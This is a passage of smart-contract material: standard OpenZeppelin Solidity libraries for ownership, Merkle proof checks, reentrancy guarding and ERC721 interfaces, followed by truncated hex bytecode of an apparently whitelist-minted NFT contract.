onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102515760003560e01c806370a0823111610139578063b071401b116100b6578063d5abeb011161007a578063d5abeb0114610694578063db4bec44146106aa578063e0a80853146106da578063e985e9c5146106fa578063efbd73f414610743578063f2fde38b1461076357600080fd5b8063b071401b14610601578063b767a09814610621578063b88d4fde14610641578063c87b56dd14610661578063d2cab0561461068157600080fd5b806394354fd0116100fd57806394354fd01461058e57806395d89b41146105a4578063a0712d68146105b9578063a22cb465146105cc578063a45ba8e7146105ec57600080fd5b806370a08231146104fb578063715018a61461051b5780637cb64759146105305780637ec4a659146105505780638da5cb5b1461057057600080fd5b80633ccfd60b116101d2578063518302271161019657806351830227146104585780635503a0e8146104785780635c975abb1461048d57806362b99ad4146104a75780636352211e146104bc5780636caede3d146104dc57600080fd5b80633ccfd60b146103b657806342842e0e146103cb578063438b6300146103eb57806344a0d68a146104185780634fdd43cb1461043857600080fd5b806316ba10e01161021957806316ba10e01461032b57806316c38b3c1461034b57806318160ddd1461036b57806323b872dd146103805780632eb4a7ab146103a057600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806313faede614610307575b600080fd5b34801561026257600080fd5b50610276610271366004612061565b610783565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a06107d5565b60405161028291906120d6565b3480156102b957600080fd5b506102cd6102c83660046120e9565b610867565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b5061030561030036600461211e565b610901565b005b34801561031357600080fd5b5061031d600e5481565b604051908152602001610282565b34801561033757600080fd5b506103056103463660046121d4565b610a17565b34801561035757600080fd5b5061030561036636600461222d565b610a58565b34801561037757600080fd5b5061031d610a95565b34801561038c57600080fd5b5061030561039b366004612248565b610aa5565b3480156103ac57600080fd5b5061031d60095481565b3480156103c257600080fd5b50610305610ad6565b3480156103d757600080fd5b506103056103e6366004612248565b610bd1565b3480156103f757600080fd5b5061040b610406366004612284565b610bec565b604051610282919061229f565b34801561042457600080fd5b506103056104333660046120e9565b610ccd565b34801561044457600080fd5b506103056104533660046121d4565b610cfc565b34801561046457600080fd5b506011546102769062010000900460ff1681565b34801561048457600080fd5b506102a0610d39565b34801561049957600080fd5b506011546102769060ff1681565b3480156104b357600080fd5b506102a0610dc7565b3480156104c857600080fd5b506102cd6104d73660046120e9565b610dd4565b3480156104e857600080fd5b5060115461027690610100900460ff1681565b34801561050757600080fd5b5061031d610516366004612284565b610e4b565b34801561052757600080fd5b50610305610ed2565b34801561053c57600080fd5b5061030561054b3660046120e9565b610f08565b34801561055c57600080fd5b5061030561056b3660046121d4565b610f37565b34801561057c57600080fd5b506006546001600160a01b03166102cd565b34801561059a57600080fd5b5061031d60105481565b3480156105b057600080fd5b506102a0610f74565b6103056105c73660046120e9565b610f83565b3480156105d857600080fd5b506103056105e73660046122e3565b611098565b3480156105f857600080fd5b506102a06110a3565b34801561060d57600080fd5b5061030561061c3660046120e9565b6110b0565b34801561062d57600080fd5b5061030561063c36600461222d565b6110df565b34801561064d57600080fd5b5061030561065c366004612316565b611123565b34801561066d57600080fd5b506102a061067c3660046120e9565b61115b565b61030561068f366004612392565b6112db565b3480156106a057600080fd5b5061031d600f5481565b3480156106b657600080fd5b506102766106c5366004612284565b600a6020526000908152604090205460ff1681565b3480156106e657600080fd5b506103056106f536600461222d565b611538565b34801561070657600080fd5b50610276610715366004612411565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561074f57600080fd5b5061030561075e36600461243b565b61157e565b34801561076f57600080fd5b5061030561077e366004612284565b611616565b60006001600160e01b031982166380ac58cd60e01b14806107b457506001600160e01b03198216635b5e139f60e01b145b806107cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107e49061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546108109061245e565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061090c82610dd4565b9050806001600160a01b0316836001600160a01b0316141561097a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108dc565b336001600160a01b038216148061099657506109968133610715565b610a085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108dc565b610a1283836116b1565b505050565b6006546001600160a01b03163314610a415760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600c906020840190611fb2565b5050565b6006546001600160a01b03163314610a825760405162461bcd60e51b81526004016108dc90612499565b6011805460ff1916911515919091179055565b6000610aa060085490565b905090565b610aaf338261171f565b610acb5760405162461bcd60e51b81526004016108dc906124ce565b610a12838383611816565b6006546001600160a01b03163314610b005760405162461bcd60e51b81526004016108dc90612499565b60026007541415610b535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108dc565b60026007556000610b6c6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610bb6576040519150601f19603f3d011682016040523d82523d6000602084013e610bbb565b606091505b5050905080610bc957600080fd5b506001600755565b610a1283838360405180602001604052806000815250611123565b60606000610bf983610e4b565b905060008167ffffffffffffffff811115610c1657610c16612148565b604051908082528060200260200182016040528015610c3f578160200160208202803683370190505b509050600160005b8381108015610c585750600f548211155b15610cc3576000610c6883610dd4565b9050866001600160a01b0316816001600160a01b03161415610cb05782848381518110610c9757610c9761251f565b602090810291909101015281610cac8161254b565b9250505b82610cba8161254b565b93505050610c47565b5090949350505050565b6006546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108dc90612499565b600e55565b6006546001600160a01b03163314610d265760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600d906020840190611fb2565b600c8054610d469061245e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d729061245e565b8015610dbf5780601f10610d9457610100808354040283529160200191610dbf565b820191906000526020600020905b815481529060010190602001808311610da257829003601f168201915b505050505081565b600b8054610d469061245e565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108dc565b60006001600160a01b038216610eb65760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108dc565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610efc5760405162461bcd60e51b81526004016108dc90612499565b610f0660006119b6565b565b6006546001600160a01b03163314610f325760405162461bcd60e51b81526004016108dc90612499565b600955565b6006546001600160a01b03163314610f615760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600b906020840190611fb2565b6060600180546107e49061245e565b80600081118015610f9657506010548111155b610fb25760405162461bcd60e51b81526004016108dc90612566565b600f5481610fbf60085490565b610fc99190612594565b1115610fe75760405162461bcd60e51b81526004016108dc906125ac565b8180600e54610ff691906125da565b34101561103b5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b60115460ff161561108e5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108dc565b610a123384611a08565b610a54338383611a45565b600d8054610d469061245e565b6006546001600160a01b031633146110da5760405162461bcd60e51b81526004016108dc90612499565b601055565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016108dc90612499565b601180549115156101000261ff0019909216919091179055565b61112d338361171f565b6111495760405162461bcd60e51b81526004016108dc906124ce565b61115584848484611b14565b50505050565b6000818152600260205260409020546060906001600160a01b03166111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108dc565b60115462010000900460ff1661127c57600d80546111f79061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546112239061245e565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b50505050509050919050565b6000611286611b47565b905060008151116112a657604051806020016040528060008152506112d4565b806112b084611b56565b600c6040516020016112c4939291906125f9565b6040516020818303038152906040525b9392505050565b826000811180156112ee57506010548111155b61130a5760405162461bcd60e51b81526004016108dc90612566565b600f548161131760085490565b6113219190612594565b111561133f5760405162461bcd60e51b81526004016108dc906125ac565b8380600e5461134e91906125da565b3410156113935760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b601154610100900460ff166113f55760405162461bcd60e51b815260206004820152602260248201527f5468652077686974656c6973742073616c65206973206e6f7420656e61626c65604482015261642160f01b60648201526084016108dc565b336000908152600a602052604090205460ff16156114555760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d656421000000000000000060448201526064016108dc565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506114cf858580806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506009549150849050611c54565b61150c5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b60448201526064016108dc565b336000818152600a60205260409020805460ff191660011790556115309087611a08565b505050505050565b6006546001600160a01b031633146115625760405162461bcd60e51b81526004016108dc90612499565b60118054911515620100000262ff000019909216919091179055565b8160008111801561159157506010548111155b6115ad5760405162461bcd60e51b81526004016108dc90612566565b600f54816115ba60085490565b6115c49190612594565b11156115e25760405162461bcd60e51b81526004016108dc906125ac565b6006546001600160a01b0316331461160c5760405162461bcd60e51b81526004016108dc90612499565b610a128284611a08565b6006546001600160a01b031633146116405760405162461bcd60e51b81526004016108dc90612499565b6001600160a01b0381166116a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108dc565b6116ae816119b6565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e682610dd4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117985760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108dc565b60006117a383610dd4565b9050806001600160a01b0316846001600160a01b031614806117de5750836001600160a01b03166117d384610867565b6001600160a01b0316145b8061180e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661182982610dd4565b6001600160a01b0316146118915760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108dc565b6001600160a01b0382166118f35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108dc565b6118fe6000826116b1565b6001600160a01b03831660009081526003602052604081208054600192906119279084906126bd565b90915550506001600160a01b0382166000908152600360205260408120805460019290611955908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a1257611a21600880546001019055565b611a3383611a2e60085490565b611c6a565b80611a3d8161254b565b915050611a0b565b816001600160a01b0316836001600160a01b03161415611aa75760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108dc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b1f848484611816565b611b2b84848484611c84565b6111555760405162461bcd60e51b81526004016108dc906126d4565b6060600b80546107e49061245e565b606081611b7a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ba45780611b8e8161254b565b9150611b9d9050600a8361273c565b9150611b7e565b60008167ffffffffffffffff811115611bbf57611bbf612148565b6040519080825280601f01601f191660200182016040528015611be9576020820181803683370190505b5090505b841561180e57611bfe6001836126bd565b9150611c0b600a86612750565b611c16906030612594565b60f81b818381518110611c2b57611c2b61251f565b60200101906001600160f81b031916908160001a905350611c4d600a8661273c565b9450611bed565b600082611c618584611d91565b14949350505050565b610a54828260405180602001604052806000815250611e3d565b60006001600160a01b0384163b15611d8657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611cc8903390899088908890600401612764565b602060405180830381600087803b158015611ce257600080fd5b505af1925050508015611d12575060408051601f3d908101601f19168201909252611d0f918101906127a1565b60015b611d6c573d808015611d40576040519150601f19603f3d011682016040523d82523d6000602084013e611d45565b606091505b508051611d645760405162461bcd60e51b81526004016108dc906126d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180e565b506001949350505050565b600081815b8451811015611e35576000858281518110611db357611db361251f565b60200260200101519050808311611df5576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e22565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e2d8161254b565b915050611d96565b509392505050565b611e478383611e70565b611e546000848484611c84565b610a125760405162461bcd60e51b81526004016108dc906126d4565b6001600160a01b038216611ec65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108dc565b6000818152600260205260409020546001600160a01b031615611f2b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d